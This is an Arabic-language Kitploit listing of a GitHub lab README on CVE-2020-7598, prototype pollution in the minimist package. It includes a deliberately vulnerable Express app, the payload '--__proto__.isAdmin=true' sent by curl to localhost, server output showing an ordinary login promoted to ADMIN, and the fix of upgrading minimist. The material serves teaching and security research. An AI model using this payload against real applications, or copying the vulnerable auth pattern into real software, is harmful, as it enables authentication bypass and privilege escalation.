Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-7598 — مختبر تعليمي يوضح تلوث النموذج الأولي CVE-2020-7598 في minimist مع تطبيق Node.js/Express قابل للاختراق، وحمولة استغلال، ودليل تجاوز المصادقة لأغراض البحث الأمني. | Kitploit
أدوات/GitHubGitHub/renewablehacking/cve-2020-7598
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكوداستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

مختبر تعليمي يوضح تلوث النموذج الأولي CVE-2020-7598 في minimist مع تطبيق Node.js/Express قابل للاختراق، وحمولة استغلال، ودليل تجاوز المصادقة لأغراض البحث الأمني.

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-7598 - Prototype Pollution in minimist

إخلاء مسؤولية

تم إنشاء هذا المشروع فقط من أجل:

  • التعلم،
  • البحث الأمني،
  • والمعمل المحلي الشخصي.

لا تستخدمه ضد أي نظام دون إذن.


حول CVE

CVE-2020-7598 هو ثغرة أمنية من نوع Prototype Pollution في حزمة npm:

  • minimist
  • الإصدارات المعرضة للخطر:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

تسمح هذه الثغرة للمهاجم بتعديل:

root@kitploit:~
Object.prototype

من خلال حمولة مثل:

root@kitploit:~
--__proto__.isAdmin=true

النتيجة:

  • جميع كائنات JavaScript يمكنها وراثة خصائص ضارة،
  • تجاوز المصادقة،
  • تصعيد الصلاحيات،
  • وصولاً إلى سلسلة تؤدي إلى RCE في ظروف معينة.

كيفية عمل Prototype Pollution

في JavaScript:

root@kitploit:~
const user = {};

الكائن الفارغ لا يزال يرث الخصائص من:

root@kitploit:~
Object.prototype

إذا نجح المهاجم في تنفيذ:

root@kitploit:~
Object.prototype.isAdmin = true;

عندئذٍ:

root@kitploit:~
({}).isAdmin

سينتج:

root@kitploit:~
true

لكل كائن عادي.


بيئة المعمل

التبعيات

  • Node.js
  • Express
  • [email protected]

التثبيت

1. استنساخ المستودع

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. تثبيت التبعيات

root@kitploit:~
npm install

أو يدويًا:

root@kitploit:~
npm install express [email protected]

كود المصدر

أنشئ ملف:

root@kitploit:~
app.js

المحتوى:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 محاكاة قاعدة بيانات المستخدمين
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 نقطة نهاية معرضة للخطر
*/
app.get("/parse", (req, res) => {

    /*
      احصل على الاستعلام الخام
    */
    const payload = req.query.payload;

    /*
      حوله إلى مصفوفة وسائط CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      تحليل معرض للخطر
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 نقطة نهاية تسجيل الدخول
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      منطق مصادقة معرض للخطر
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

تشغيل الخادم

root@kitploit:~
node app.js

المخرجات:

root@kitploit:~
Server running on port 3000

الاختبار العادي

تسجيل الدخول العادي

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

المخرجات:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

استغلال CVE-2020-7598

حمولة Prototype Pollution

افتح المتصفح:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

أو استخدم curl:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

نتيجة الاستغلال

طرفية الخادم:

root@kitploit:~
GLOBAL isAdmin: true

أي أن:

root@kitploit:~
Object.prototype.isAdmin = true

تم تعديله بنجاح.


تسجيل الدخول بعد الاستغلال

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

المخرجات:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

رغم أن:

  • قاعدة البيانات لم تتغير،
  • الكود المصدري لم يتغير،
  • المستخدم لا يمتلك الخاصية isAdmin.

لماذا أصبح ADMIN؟

الكود التالي:

root@kitploit:~
if(user.isAdmin)

لا يفحص فقط الخاصية المباشرة للكائن.

JavaScript سيبحث عن:

  1. الخاصية المملوكة للكائن،
  2. ثم سلسلة النموذج الأولي (prototype chain).

لأن المهاجم نجح في تعديل:

root@kitploit:~
Object.prototype.isAdmin = true

فإن جميع الكائنات العادية ترث هذه الخاصية.


دليل Prototype Pollution

سجلات الخادم:

root@kitploit:~
Own property: false
user.isAdmin: true

أي أن:

  • isAdmin ليست خاصية أصلية للمستخدم،
  • لكنها موروثة من النموذج الأولي العام.

التصحيح

الإصدار الآمن من minimist:

root@kitploit:~
npm install minimist@latest

الإصدارات المصححة تمنع:

  • __proto__
  • constructor
  • prototype

وبالتالي لم يعد Prototype Pollution ناجحًا.


المراجع

  • CVE: CVE-2020-7598
  • الحزمة: minimist
  • CWE: CWE-1321 Prototype Pollution

المؤلف

تم إنشاء المعمل والتوثيق لأغراض تعلم أمن تطبيقات Node.js والبحث في Prototype Pollution.

تنزيل الأداة